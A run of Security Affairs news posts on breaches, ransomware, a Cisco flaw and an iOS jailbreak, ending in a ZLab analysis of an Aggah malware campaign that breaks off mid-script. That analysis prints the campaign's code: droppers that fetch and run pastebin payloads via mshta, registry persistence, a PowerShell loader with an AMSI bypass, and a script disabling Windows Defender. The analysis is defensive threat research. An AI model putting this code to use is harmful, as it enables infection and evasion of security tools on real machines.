“The vulnerability is due to insecure deserialization of user-supplied content by the affected software. An attacker could exploit this vulnerability by sending a malicious serialized Java object to a specific listener on an affected system.”

An unauthenticated, remote attacker could exploit the issue to execute arbitrary code as the root user on a vulnerable device.

The issue could be exploited by supplying a malformed Java object to a specific listener on an vulnerable system

Administrators should update their Unified CCE installs as soon as possible.

The good news is that Cisco is not aware of attacks in the wild that exploited the flaw.

Pierluigi Paganini

(SecurityAffairs – Unified CCE, hacking)

The post Cisco fixed a critical issue in the Unified Contact Center Express appeared first on Security Affairs.

Crooks hacked e-shops and threaten to sell SQL databases if ransom not paid

Threat actors are offering for sale more than two dozen SQL databases belonging to e-commerce websites for different countries.

Hackers are offering for sale more than two dozen SQL databases stolen from online shops from multiple countries.

Threat actors have compromised insecure servers exposed online and after copying the content of their websites they left a ransom note.

Some of the databases are dated as 2016, but data starts from March 28, 2020.

Crooks’ demand is BTC 0.06 ($485 at current price), they threaten to leak the content of the database if the victims don’t pay the ransom in 10 days.

The ransom notes observed in this campaign include a couple of wallets that received more than 100 transactions for a total of BTC 5.8 ($47,150 at current price).

“The number of abuse reports for these two wallets is over 200, the oldest being from September 20, 2019. The most recent one is from May 20 and this month alone there were nine reports, indicating that the actor is highly active.” reported BleepingComputer.

“It is important to note that the hacker may use more than the wallets found by BleepingComputer.”

The seller is offering 31 databases and gives a sample for the buyers to check the authenticity of the data.

Most of the listed databases are from online stores in Germany, others e-store hacked by threat actors are from Brazil, the U.S., Italy, India, Spain, and Belarus.

The hacked stores were running Shopware, JTL-Shop, PrestaShop, OpenCart, Magento v1 and v2 e-commerce CMSs.

The databases contain a total of 1,620,000 rows, exposed records include email addresses, names, hashed passwords (e.g. bcrypt, MD5), postal addresses, gender, dates of birth.

It isn’t the first time that crooks target unprotected databases, experts observed several attacks targeting unprotected MongoDB installs.

Pierluigi Paganini

(SecurityAffairs – SQL databases, hacking)

The post Crooks hacked e-shops and threaten to sell SQL databases if ransom not paid appeared first on Security Affairs.

Ragnar Ransomware encrypts files from virtual machines to evade detection

Ransomware encrypts from virtual machines to evade antivirus

Ragnar Locker deploys Windows XP virtual machines to encrypt victim’s files, the trick allows to evaded detection from security software.

Crooks always devise new techniques to evade detection, the Ragnar Locker is deploying Windows XP virtual machines to encrypt victim’s files while bypassing security measures.

The Ragnar Locker appeared relatively in the threat landscape, at the end of the 2019 it was employed in attacks against corporate networks. 

One of the victims of the ransomware is the energy giant Energias de Portugal (EDP), where the attackers claimed to have stolen 10 TB of files.

While many ransomware infections terminate security programs before encrypting,

This sample of Ragnar Locker terminates security programs and managed service providers (MSP) utilities to prevent them from blocking the attack.

“A new ransomware attack method takes defense evasion to a new level—deploying as a full virtual machine on each targeted device to hide the ransomware from view. In a recently detected attack, Ragnar Locker ransomware was deployed inside an Oracle VirtualBox Windows XP virtual machine.” reads the report published by Sophos. “The attack payload was a 122 MB installer with a 282 MB virtual image inside—all to conceal a 49 kB ransomware executable.”

The attack chain starts with the creation of a tool folder that includes VirtualBox, a mini Windows XP virtual disk called micro.vdi, which is an image of a stripped-down version of the Windows XP SP3 OS (MicroXP v0.82). The image includes the 49 kB Ragnar Locker ransomware executable, the attack also includes several executables and scripts to prep the environment.

Ragnar Locker ransomware

The malware leverage a VirtualBox feature that allows the host operating system to share folders and drives as a network share inside a virtual machine.  The virtual machine mounts the shared path as a network drive from the \\VBOXSVR virtual computer to access their content.

“In addition to the VirtualBox files, the MSI also deploys an executable (called va.exe), a batch file (named install.bat), and a few support files. After completing the installation, the MSI Installer executes va.exe, which in turn runs the install.bat batch script.” continues the analysis. “The script’s first task is to register and run the necessary VirtualBox application extensions VBoxC.dll and VBoxRT.dll, and the VirtualBox driver VboxDrv.sys.”

The install.bat batch file allows the threat to scan for local drives and mapped network drives on the host and builds a configuration file that automatically shares them with the virtual machine.

The script also prepares an sf.txt file containing VirtualBox configuration settings to automatically share all of the drives on the computer with the virtual machine.

The attackers launch the Windows XP virtual machine using the SharedFolder directives created by their batch file that are accessible within the virtual machine. and the Ragnar Locker ransomware executable will automatically be present in the root of the C:\ drive.

When launched, all of these shared drives will now be accessible from within the virtual machine. Experts pointed you that the Ragnar Locker ransomware executable will automatically be present in the root of the C:\ drive.

Windows XP virtual machine
Windows XP virtual machine
(Source: Sophos)

Also included is a vrun.bat file that is located in the Startup folder so that it is launched immediately when the virtual machine starts.

This vrun.bat file, shown below, will mount each shared drive, encrypt it, and then proceed to the next drive shared with the virtual machine.

Mounting all the shared drives to encrypt
Mounting all the shared drives to encrypt

As the security software running on the victim’s host will not detect the ransomware executable or activity on the virtual machine, it will happily keep running without detecting that the victim’s files are now being encrypted.

It should be noted that if the victim was running Windows 10’s Controlled Folder Access anti-ransomware feature, it may have been protected from an attack like this as the operating system would have detected writes to the protected folders.

When done, the victim will find a custom ransom note on their computer explaining how their company was breached, and their files were encrypted.

Custom Ragnar Locker ransom note
(Source: Sophos)

The use of a virtual machine to encrypting a device’s files without being detected is an innovative approach.

As VirtualBox and a Windows XP virtual machine are not considered malicious, most security software will not be concerned that it is blissfully writing to all the data on the computer.

This attack illustrates how security software with behavioral monitoring is becoming more important to stem the tide of ransomware infections.

Only by detecting the unusual mass file writes, would this attack be detected.

Pierluigi Paganini

(SecurityAffairs – Ragnar Locker ransomware, hacking)

The post Ragnar Ransomware encrypts files from virtual machines to evade detection appeared first on Security Affairs.

Maze ransomware operators leak credit card data from Costa Rica’s BCR bank

Maze ransomware operators published credit card details stolen from the Bank of Costa Rica (BCR) threatening to leak other lots every week.

Maze ransomware operators have released credit card data stolen from the Bank of Costa Rica (BCR) threatening to leak other lots every week.

Early May, Maze Ransomware operators claimed to have hacked the network of the state-owned Bank of Costa Rica Banco BCR and to have stolen internal data, including 11 million credit card credentials.

Banco BCR has equity of $806,606,710 and assets of $7,607,483,881, it is one of the most solid banks in Central America.

The hackers claim to have compromised the Banco BCR’s network in August 2019, and had the opportunity to exfiltrate its information before encrypting the files.

Maze Ransomware crew

According to Maze, the bank’s network remained unsecured at least since February 2020.

Anyway, the group explained that they did not encrypt the bank documents in February, because it “was at least incorrect during the world pandemic”.

The stolen data includes 4 million unique credit card records, and 140,000 allegedly belonging to USA citizens.

Now the Maze ransomware operators published a post on their leak site along with a spreadsheet (2GB in size) containing the payment card numbers from customers of Banco de Costa Rica (BCR).


The threat actors decided to leak the credit card number to lack of security measures implemented by the bank.

Security firm Cyble confirmed the data leak, over 2GB of data.

“Just like previously, the Cyble Research Team has verified the data leak, which consists of a 2GB CSV file containing details of various Mastercard and Visa credit cards or debit cards.” reads the post published by Cyble. “As per Cyble’s researchers, the Maze ransomware operators have made this data leak due to the Banco de Costa not taking the previous leaks seriously. Along with that, the Maze ransomware operators have threatened the BCR about this type of leak going to happen every week.”

Maze ransomware operators published screenshots showing unencrypted Visa or MasterCard credit card numbers, all the cards have been issued by BCR.

The BCR bank always denied that its systems have been hacked by the Maze gang.

“After multiple analyzes carried out by internal and external specialists in computer security, no evidence has been found to confirm that our systems have been violated. The permanent monitoring of our clients’ transactions confirms that none has been affected.” reads the last statement published by the bank.

Pierluigi Paganini

(SecurityAffairs – BCR, hacking)

The post Maze ransomware operators leak credit card data from Costa Rica’s BCR bank appeared first on Security Affairs.

25 million Mathway user records available for sale on the dark web

A threat actor is offering for sale on a dark web marketplace a database containing 25 million user records belonging to the Mathway.

A data breach broker, known as Shiny Hunters, is offering for sale on a dark web marketplace a database that contains 25 million user records for Mathway.

Early May, Shiny Hunters attempted to sell on a dark web marketplace databases containing more than 73.2 million user records from 11 different companies.

Shiny Hunters started offering the Tokopedia dump, then it began proposing 22 million user records for Unacademy and data allegedly obtained from the hack of the Microsoft’s GitHub account.

Recently the group has begun selling databases for the meal kit and food delivery company HomeChef, the photo print service ChatBooks, and

Mathway is a free math problem solver, from basic algebra to complex calculus, it instantly solves users’ math problems simply by typing their problem in (or point their camera and snap a pic!). Users will receive instant free answers through their website or mobile apps (both iOS and Android).

The Mathway app has over 10 million installs on Android Play Store and the Apple Store.

The dump was discovered by cyber intelligence firm Cyble, which confirmed that the archive was being sold in private sales in underground markets.

The Shiny Hunters group is offering for sale the Mathway database for $4,000.

Users’ records in the dump include email addresses and hashed passwords.

“We are aware of reports of a potential data compromise.  We are working with cybersecurity experts to investigate further, and will take the appropriate steps to ensure the security of customer information.” reads a statement published by Mathway.

Mathway is currently investigating the security breach, meantime its users should also change their password on the site and on any other site where they used the same credentials.

Mathway users could check if their account was impacted by the data breach by querying the Cyble’s AmIBreached data breach lookup service.

Pierluigi Paganini

(SecurityAffairs – Mathway, hacking)

The post 25 million Mathway user records available for sale on the dark web appeared first on Security Affairs.

Unc0ver is the first jailbreak that works on all recent iOS versions since 2014

A team of hackers and cyber-security researchers have released a new jailbreak package dubbed Unc0ver for iOS devices.

A team of cyber-security researchers and hackers have released a new jailbreak package dubbed Unc0ver (from the name of the team that devised it) that works on all recent iOS versions.devices, even those running the current iOS 13.5 release.

Jailbreaking an iOS mobile device it is possible to remove hardware restrictions implemented by the Apple’s operating system, Jailbreaking gives users root access to the iOS file system and manager, this allows them to download and install applications and themes from third-party stores.

By default, Apple does not allow users to have full control over their iPhones and other iOS devices, citing security reasons.

The Unc0ver team today released Unc0ver 5.0.0, the latest version of their jailbreak, which can root and unlock all iOS devices, even those running the latest iOS v13.5.

The jailbreak exploits a zero-day vulnerability in the iOS operating system that was discovered by Pwn20wnd, a member of the Unc0ver team, and that has yet to be addressed by Apple.

Pwn20wnd states that #unc0ver v5.0.0 will be a big milestone for jailbreaking because it is the first zero-day jailbreak released since iOS 8 that was released in September 2014.

Other jailbreak applications released since iOS 9 used 1-day exploits and and did not work on the current iOS version.

The new Unc0ver 5.0.0 jailbreak can be used from iOS, macOS, Linux, and Windows devices.

The Unc0ver team published instructions on their website.

“unc0ver is designed to be stable and enable freedom from the moment you jail​break your device. Built-in runtime policy softener allows running code without Apple’s notarization and pervasive restrictions.” reads the website.

“unc0ver Team strongly cautions against installing any iOS software update that breaks unc0ver as you can’t re-jail​break on versions of iOS that are not supported by unc0ver at that time.”

The Unc0ver team tested the jailbreak on iOS 11 through iOS 13.5, the software did not work on iOS versions 12.3 to 12.3.2 and 12.4.2 to 12.4.5.

What makes this jailbreak outstanding is that according to Pwn20wnd it doesn’t impact Apple’s iOS security features.

Let’s see when Apple will release security updates to address the zero-day vulnerability exploited by the Unc0ver team.

Pierluigi Paganini

(SecurityAffairs – Unc0ver, jailbreak)

The post Unc0ver is the first jailbreak that works on all recent iOS versions since 2014 appeared first on Security Affairs.

Security Affairs newsletter Round 265

A new round of the weekly SecurityAffairs newsletter arrived! Every week the best security articles from Security Affairs free for you in your email box.

Elexon, a middleman in the UK power grid network hit by cyber-attack
Experts reported the hack of several supercomputers across Europe
A bug in Edison Mail iOS app impacted over 6,400 users
FBI warns US organizations of ProLock ransomware decryptor not working
Mandrake, a high sophisticated Android spyware used in targeted attacks
Stored XSS in WP Product Review Lite plugin allows for automated takeovers
Texas Department of Transportation (TxDOT) hit by a ransomware attack
129 million records of Russian car owners available on the dark web
Australian product steel producer BlueScope hit by cyberattack
Bluetooth BIAS attack threatens billions of devices
Both Mirai and Hoaxcalls IoT botnets target Symantec Web Gateways
Easyjet hacked: 9 million customers data exposed along with 2,200+ credit card details
Hackers Target Oil Producers During COVID-19 Slump
Adobe fixed several memory corruption issues in some of its products
Israel is suspected to be behind the cyberattack on Iranian port
Researchers disclose five Microsoft Windows zero-days
Security Service of Ukraine arrested the popular hacker Sanix who sold billions of stolen credentials
Three flaws in Nitro Pro PDF reader expose businesses to hack
VMware fixes CVE-2020-3956 Remote Code Execution issue in Cloud Director
Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia
Japan suspects HGV missile data leak in Mitsubishi security breach
Meal delivery service Home Chef discloses data breach
Santander, one of the biggest European banks, was leaking sensitive data on their website
Sophos blocked attacks exploiting XG Firewall zero-day to deploy Ransomware
Tens of thousands Israeli websites defaced
Cyber-Criminal espionage Operation insists on Italian Manufacturing
Experts found a Privilege escalation issue in Docker Desktop for Windows
Microsoft warns of massive campaign using COVID-19 themed emails
Winnti uses a new PipeMon backdoor in attacks aimed at the gaming industry
Experts observed a spike in COVID-19 related malspam emails containing GuLoader
Silent Night Zeus botnet available for sale in underground forums
The Florida Unemployment System suffered a data breach
Voter information for 2 millions of Indonesians leaked online

Pierluigi Paganini

(SecurityAffairs – newsletter)

The post Security Affairs newsletter Round 265 appeared first on Security Affairs.

Online education site EduCBA discloses data breach and reset customers’ pwds

The online education portal EduCBA discloses a data breach and is resetting customers’ passwords in response to the incident.

Online education website EduCBA discloses a data breach, it has started notifying customers that in response to the incident it is resetting their passwords.

EduCBA is a leading global provider of skill based education with 500,000+ members across 40+ Countries. It offers 2500+ courses prepared by top-notch professionals from the Industry to help participants achieve their goals successfully. 

The company is notifying by email the incident to its customers confirming that their data have been accessed by an unauthorized party.

“Therefore, as a caution, we have invalidated passwords of all the users. You may retrieve your password here,” the data breach notification.

The data breach notification doesn’t include technical details about the attack, it only states that email, name, password, courses visited, etc may have been compromised.

The online education website states that no financial information was exposed as they use third-party processors such as PayPal and 2Checkout to process payments.

EduCBA data breach
Source BleepingComputer

As a precaution, EduCBA states that they have reset all user’s passwords.

As usual, customers that have used their EduCBA credentials at other sites have to change their passwords at these sites too.

Customers should remain vigilant of cyber attack, crooks may use their data to carry out spear-phishing attacks.

Pierluigi Paganini

(SecurityAffairs – EduCBA, hacking)

The post Online education site EduCBA discloses data breach and reset customers’ pwds appeared first on Security Affairs.

Silent Night Zeus botnet available for sale in underground forums

Experts reported the existence of a botnet, tracked as Silent Night based on the Zeus banking Trojan that is available for sale in several underground forums.

This week researchers from Malwarebytes and HYAS published a report that included technical details on a recently discovered botnet, tracked as Silent Night, being distributed via the RIG exploit kit and COVID-19 malspam campaign. 

Silent Night

The source code of the Zeus Trojan is available in the cybercrime underground since 2011 allowing crooks to develop their own release since.

Experts found multiple variants in the wild, many of them belonging to the Terdot Zbot/Zloader malware family.

The name “Silent Night” Zbot is likely a reference to a weapon mentioned in the 2002 movie xXx, it was first spotted in November 2019 when a seller named “Axe” started offering it on the Russian underground forum forum.exploit[.]in.

Axe was advertising the Trojan as the result of over five years of work, a total of 15k ~ hours were spent for the development of the malicious code.

“The author described it as a banking Trojan designed with compatibility with Zeus webinjects. Yet, he claims that the code is designed all by him, based on his multiple years of experience – quote: “In general, it took me 5+ years to develop and support the bot, on average about 15k ~ hours were spent.”.” reads the report published by the researchers.

The botnet goes for $4,000 per month for a custom build, $2,000 per month for a general build, while an extra for HVNC functionality is available for 1,000 USD/month and 14 days to test the code for 500 USD.

Experts believe that Axe is the developer of the Axe Bot 1.4.1, comparing Axe Bot 1.4.1 and Zloader 1.8.0 C2 source codes, experts noted that all of their custom PHP functions have the prefix CSR, which can either be a naming space or a developer’s handle

Silent Night is able to grab information from online forms and perform web injections in major browsers, including Google Chrome, Mozilla Firefox, and Internet Explorer, monitor keystrokes, take screenshots, harvest cookies and passwords.

Silent Night leverages web injections to hijack a user’s session and redirect them to malicious domains or to grab the login credentials for online banking services. Data collected by the malware are then transferred to the operator’s command-and-control (C2) server.

The malware is able to infect all operating systems.

The seller also claims to use an original obfuscator, the decryption is performed only “on demand.” The analysis of the content of an open directory on the Command and Control server allowed the researchers to discover a manual for bot operators that includes instructions for the set up of the malware.

On Dec 23 2019, this variant of Zloader was observed being distributed by the RIG Exploit Kit, experts observed small campaigns, likely for testing purposes. The spreading intensified over time, in March 2020, it was delivered in a COVID-19-themed spam campaign using weaponized Word documents.

“The design of Silent Night is consistent and clean, the author’s experience shows throughout the code. Yet, apart from the custom obfuscator, there is not much novelty in this product. The Silent Night is not any game changer, but just yet another banking Trojan based on Zeus.” concludes the report. “Based on the analysis of the bot’s configurations, we may confidently say that there is more than one customer of the “Silent Night”.”

Pierluigi Paganini

(SecurityAffairs – Silent Night, hacking)

The post Silent Night Zeus botnet available for sale in underground forums appeared first on Security Affairs.

Cyber-Criminal espionage Operation insists on Italian Manufacturing

ZLab researchers spotted a new malicious espionage activity targeting Italian companies operating worldwide in the manufacturing sector.


During our Cyber Threat Intelligence monitoring we spotted new malicious activities targeting some Italian companies operating worldwide in the manufacturing sector, some of them also part of the automotive production chain.

The group behind this activity is the same we identified in the past malicious operations described in Roma225 (12/2018), Hagga (08/2019), Mana (09/2019), YAKKA (01/2020). This actor was first spotted by PaloAlto’s UNIT42 in 2018 during wide scale operations against technology, retail, manufacturing, and local government industries in the US, Europe and Asia. They also stated the hypothesis of possible overlaps with the Gorgon  APT group, but no clear evidence confirmed that.

However, in order to keep track of all of our report, we synthesized all the monitored campaigns, with their TTPs and final payload:

Table 1: Synthetic table of the campaigns

As we can see from the table, the Aggah campaigns varied in the time, but it maintained some common points. All campaigns used as the initial stage an office document (PowerPoint or Excel) armed with macro and some of them used injection methods. 

All attack operations used a “Signed Binary Proxy Execution” technique abusing Mshta, a legit Microsoft tool, and used at least an executable file for the infection. In addition, the use of PowerShell stage or the abuse of legit web service has been reported in some campaigns. 

Furthermore the CMSTP bypass exploit is a new feature present only in the 2020, because the first malwares identified to exploit this vulnerability all date back to mid/end 2019, making think the fact that the Threat Actor likes to test the latest disclosed exploits in order to make its campaigns always at the forefront. Regarding persistence mechanisms, we note that initially scheduled tasks were used, but in the latest infections the registry run keys were used. All threats use at least one obfuscation method to make the analysis harder. 

Looking at the evolution of the final payloads, we can say that this evolution is certainly due to a chronological factor, since Revenge rat had become obsolete, but the evolution is also due to the technological factor and its means: revenge rat has the classic functionality of spyware, while AZORult is considered an info stealer. As a last payload, Agent Tesla was used which collects all the functionality of the previous payloads as it is considered an info stealer and spyware.

Technical Analysis

The infection chain starts with a malicious Microsoft Powerpoint weaponized with a malicious macro.

ThreatMalicious macro
Brief DescriptionMalicious ppt dropper with macro.

Table 2. Sample information

The content of the macro is quite easy to read and the content is short and easy to read:

Figure 1: Content of the malicious macro

The VBA macro is responsible to download and execute malicious code retrieved from pastebin.  j[.mp is an url shortening service, the following request redirect and download a pastebin content:

Figure 2: Shortener resolution

The MSHTA Drop Chain

Like the previous campaigns, this threat actor uses a Signed Binary Proxy Execution (ID: T1218) technique abusing “mshta.exe” (T1170) a signed and legit Microsoft tool. Adversaries can use mshta.exe to proxy execution of malicious .hta files, Javascript or VBScript.

Figure 3: Piece of code of the Bnv7ruYp paste

As shown in the above figure, the code is simply URI encoded by replacing each instance of certain characters by one, two or three escape sequences representing the UTF-8 encoding of the character. 

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>’id1CreateObject(“WScript.Shell”).Run “””mshta””””http:\\\raw\5CzmZ5NS”””
CreateObject(“WScript.Shell”).Run StrReverse(“/ 08 om/ ETUNIM cs/ etaerc/ sksathcs”) + “tn “”Pornhubs”” /tr “”\””mshta\””http:\\\raw\5CzmZ5NS”” /F “,0
‘id2CreateObject(“WScript.Shell”).RegWrite StrReverse(“TRATS\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”), “””m” + “s” + “h” + “t” + “a””””http:\\\raw\sJEBiiMw”””, “REG_SZ”‘id3CreateObject(“WScript.Shell”).RegWrite StrReverse(“\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”), “””m” + “s” + “h” + “t” + “a””””http:\\\raw\YL0je2fU”””, “REG_SZ”

‘defidCreateObject(“WScript.Shell”).Run “””mshta””””http:\\\raw\UyFaSxgj”””CreateObject(“WScript.Shell”).RegWrite StrReverse(“FED\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”), “””m” + “s” + “h” + “t” + “a””””http:\\\raw\UyFaSxgj”””, “REG_SZ”


Code Snippet 1

This stage acts as a dropper, in fact, it downloads and executes some pastebin contents through mshta.exe. 

Figure 4: Evidence of the NIBBI author

This lasta campaign has been dubbed with the name of the Pastebin user spreading the malicious pastes. This time the name is “NIBBI”. The first component is 5CzmZ5NS:

Figure 5: Piece of the code of 5CzmZ5NS paste

The second one is sJEBiiMw:

Figure 6: Piece of the code of the sJEBiiMw paste

The third one, YL0je2fU:

Figure 7: Piece of the code of the YL0je2fU paste

and the fourth component, UyFaSxgj:

Figure 8: Piece of the code of the UyFaSxgj paste

This obfuscation technique is typical of this particular actor and he largely leveraged it in many malicious operations. Moreover, the usage of a legit website such as pastebin (T1102) gives a significant amount of cover such as advantages of being very often whitelisted. Using such a service permits to reduce the C2 exposure. In the past, other groups also used similar techniques to decouple attack infrastructure information from their implant configuration, groups such as APT41, FIN6 or FIN7.

Once decoded the first component (5CzmZ5NS), it unveils some logic, as shown in Code Snippet 2. First of all, the script set a registry key, as a windows persistence mechanism (T1060) in which it place the execution of the following command: “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).iamresearcher)|IEX

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>CreateObject(“WScript.Shell”).RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin”, “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).iamresearcher)|IEX””””, 0 : window.close””)”, “REG_SZ”
CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\iamresearcher”, “$fucksecurityresearchers=’contactmeEX’.replace(‘contactme’,’I’);sal M $fucksecurityresearchers;do {$ping = test-connection -comp -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$‘GET’,’’,$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split ‘-‘ |ForEach-Object {[char][byte]””0x$_””};$asciiString= $asciiChars -join ”|M;[Byte[]]$Cli2= iex(iex(‘(&(GCM *W-O*)’+ ‘Net.’+’WebC’+’lient)’+’.Dow’+’nload’+’Str’+’ing(””).replace(”#”,”!#!@#”).replace(”!#!@#”,”0x”)’)) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS(‘InstallUtil.exe’,$Cli2)” , “REG_SZ”
Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell ((gp HKCU:\Software).iamresearcher)|IEX”, null, objConfig, intProcessID)’i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way’i am not a coder 😉 i watch you on twitter every day thanks 🙂 i love my code reports!’i am not a coder! bang 😉

Code Snippet 2

The code contains some “funny” comments related to the twitter community of security researchers which constantly monitor the actor operations. Then, the final payload is identified by Rk4engdU paste.

Figure 9: Piece of the rnS6CUz paste

Decoding this hex stream we get the following powershell code:

function UNpaC0k3333300001147555 {
[CmdletBinding()]    Param ([byte[]] $byteArray)  Process {     Write-Verbose “Get-DecompressedByteArray”        $input = New-Object System.IO.MemoryStream( , $byteArray )     $output = New-Object System.IO.MemoryStream            $01774000 = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
    $puffpass = New-Object byte[](1024)    while($true){        $read = $01774000.Read($puffpass, 0, 1024)        if ($read -le 0){break}        $output.Write($puffpass, 0, $read)        }        [byte[]] $bout333 = $output.ToArray()        Write-Output $bout333    }}
$t0=’DEX’.replace(‘D’,’I’);sal g $t0;[Byte[]]$MNB=(‘OBFUSCATED PAYLOAD ONE‘.replace(‘@!’,’0x’))| g;
[Byte[]]$blindB=(‘OBFUSCATED PAYLOAD TWO‘.replace(‘@!’,’0x’))| g
[byte[]]$deblindB = UNpaC0k3333300001147555 $blindB
[byte[]]$decompressedByteArray = UNpaC0k3333300001147555  $MNB

Code Snippet 3 

The Powershell Loader

The Code Snippet 3 is a Powershell script in which the function “UNpaC0k3333300001147555” is declared, having the purpose to manipulate the two payloads in the right way. Both of them are .NET binaries. The de-obfuscated code is stored in the deblindB variable and then executed.

As suggested by the name deblindB, invoke the execution of the static method “Bypass” of the “Amsi” class.

Figure 10: Amsi Bypass exploit evidence

Instead, the payload embedded inside the variable $MNB is another type of injection tool, but this one is not executed by the script, probably because both the binaries perform the same action and only one is sufficient.

At this point, we deepen the “sJEBiiMw” component obtaining:

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg(‘h’+’t’+’t’+’p’+’s’+’:’+’/’+’/’+’p’+’a’+’s’+’t’+’e’+’b’+’i’+’n’+’.’+’c’+’o’+’m’+’/’+’r’+’a’+’w’+’/ygwLUS9C’));$_Xpin=$_Xpin.replace(‘.’,’*!(@*#(!@#*’).replace(‘*!(@*#(!@#*’,’0′);$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)”, null, objConfig, intProcessID)

Code Snippet 4

This script downloads and executes another script from pastebin: ygwLUS9C. It is a base64 encoded script with some basic string replacing. We also noticed this executable uses the CMSTP bypass technique (T1191), already seen in our previous report.

Figure 11: CMSTP Bypass evidence

However, in this case, there is a new element differently the previous version: through the CMSTP bypass, a VBS script is written in the “\%TEMP%\” folder, which executes many disruptive commands:

Figure 12: Evidence of the VBS script loaded and executed

The VBS script, as also mentioned inside the first row as comment, has the objective to set to zero the level of security of the infected machine. The script is the following:

‘this script will put system on 0 securityIf Not WScript.Arguments.Named.Exists(“elevate”) Then  CreateObject(“Shell.Application”).ShellExecute WScript.FullName _    , “””” & WScript.ScriptFullName & “”” /elevate”, “”, “runas”, 1  WScript.QuitEnd If
On Error Resume NextSet WshShell = CreateObject(“WScript.Shell”)WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware”,”0″,”REG_DWORD”WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring”,”0″,”REG_DWORD”WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection”,”0″,”REG_DWORD”WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable”,”0″,”REG_DWORD”
WScript.Sleep 100
outputMessage(“Set-MpPreference -DisableRealtimeMonitoring $true”)outputMessage(“Set-MpPreference -DisableBehaviorMonitoring $true”)outputMessage(“Set-MpPreference -DisableBlockAtFirstSeen $true”)outputMessage(“Set-MpPreference -DisableIOAVProtection $true”)outputMessage(“Set-MpPreference -DisableScriptScanning $true”)outputMessage(“Set-MpPreference -SubmitSamplesConsent 2”)outputMessage(“Set-MpPreference -MAPSReporting 0”)outputMessage(“Set-MpPreference -HighThreatDefaultAction 6 -Force”)outputMessage(“Set-MpPreference -ModerateThreatDefaultAction 6”)outputMessage(“Set-MpPreference -LowThreatDefaultAction 6”)outputMessage(“Set-MpPreference -SevereThreatDefaultAction 6”)

Sub outputMessage(byval args)On Error Resume NextConst HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell ” + args, null, objConfig, intProcessID)

